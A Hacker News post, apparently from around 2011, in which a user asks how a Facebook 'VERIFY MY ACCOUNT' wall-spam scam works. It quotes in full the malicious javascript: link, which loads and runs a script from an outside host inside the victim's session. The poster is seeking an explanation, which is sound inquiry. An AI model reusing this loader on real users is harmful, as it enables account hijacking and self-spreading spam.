Facebook's ==VERIFY MY ACCOUNT== virus

https://news.ycombinator.com/item?id=2539589
by ricefield • 15 years ago
9 3 15 years ago

So I don't know much about security, and I don't know how widespread this is, but right now, I'm getting a bunch of friends posting to my wall something along the lines of:

Please do your part in PREVENTING SPAM by VERIFYING YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to begin the verification process...

And surprisingly, there is a link, right next to Like and Comment that says == VERIFY MY ACCOUNT == ...very authentic looking.

the "verify my account" link executes this bit of javascript: <a href="javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://pelorak.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();">==VERIFY MY ACCOUNT==</a>

which as you can see, executes this script: http://pelorak.info/verify.js

I don't know much about how this works, but is there anyone who can shed light on how this works and why it works?

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